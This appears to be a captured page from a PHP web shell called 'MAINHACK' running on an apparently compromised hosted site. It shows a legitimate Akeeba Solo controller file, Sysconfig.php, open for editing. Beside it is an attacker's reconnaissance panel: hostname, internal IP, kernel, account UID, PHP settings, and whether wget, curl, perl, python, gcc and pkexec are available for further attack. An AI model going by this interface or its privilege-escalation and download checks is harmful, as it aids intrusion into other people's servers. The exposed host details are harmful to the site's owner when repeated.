[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Sysconfig.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Controller; use Awf\Text\Text; class Sysconfig extends ControllerDefault { public function save() { $this->csrfProtection(); $urlredirect = $this->input->get('urlredirect', null, 'raw'); $data = $this->input->getData(); unset($data['view']); unset($data['task']); unset($data['layout']); unset($data['token']); if (isset($data['urlredirect'])) { unset($data['urlredirect']); } $keys = array_keys($data); $checkboxKeys = array( 'mail.online', 'mail.smtpauth', 'options.legacyapi_enabled', 'options.jsonapi_enabled', 'options.frontend_email_on_finish', 'options.usesvnsource', 'options.displayphpwarning' ); foreach ($keys as $key) { if (strpos($key, 'fs_') === 0) { $data['fs.' . substr($key, 3)] = $data[$key]; unset($data[$key]); $key = 'fs.' . substr($key, 3); } elseif (strpos($key, 'mail_') === 0) { $data['mail.' . substr($key, 5)] = $data[$key]; unset($data[$key]); $key = 'mail.' . substr($key, 5); } if (in_array($key, $checkboxKeys)) { $data[$key] = in_array($data[$key], array('on', 'yes', 'true', 1, true)); } elseif ($key == 'options') { foreach ($data[$key] as $k => $v) { $check = 'options.' . $k; if (in_array($check, $checkboxKeys)) { $data[$key][$k] = in_array($data[$key][$k], array('on', 'yes', 'true', 1, true)); } } } } $config = $this->container->appConfig; foreach ($data as $k => $v) { if (is_array($v)) { foreach ($v as $sk => $sv) { $config->set($k . '.' . $sk, $sv); } } else { $config->set($k, $v); } } $this->container->appConfig->saveConfiguration(); if ($urlredirect) { $url = base64_decode($urlredirect); } else { $url = $this->container->router->route('index.php'); } // Akeeba Backup for WordPress: reset update information if (defined('WPINC')) { $transient = (object) [ 'response' => [] ]; \AkeebaBackupWPUpdater::getUpdateInformation($transient); } // Finally, redirect $this->setRedirect($url, Text::_('SOLO_SYSCONFIG_SAVE')); } public function apply() { $this->save(); $url = $this->container->router->route('index.php?view=sysconfig'); $this->setRedirect($url, Text::_('SOLO_SYSCONFIG_SAVE')); } public function testemail() { $config = $this->container->appConfig; $mailer = $this->container->mailer(); $user = $this->container->userManager->getUser(); $from = $config->get('mail.mailfrom'); $fromName = $config->get('mail.fromname'); $subject = Text::sprintf('SOLO_SYSCONFIG_TESTEMAIL_SUBJECT', $this->container->appConfig->get('base_url', '')); $body = Text::_('SOLO_SYSCONFIG_TESTEMAIL_BODY'); try { $mailer->sendMail($from, $fromName, $user->getEmail(), $subject, $body); $type = 'info'; $msg = Text::_('SOLO_SYSCONFIG_TESTMEMAIL_SENT'); } catch(\Exception $e) { $type = 'error'; $msg = $e->getMessage(); } $this->setRedirect($this->container->router->route('index.php?view=sysconfig'), $msg, $type); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697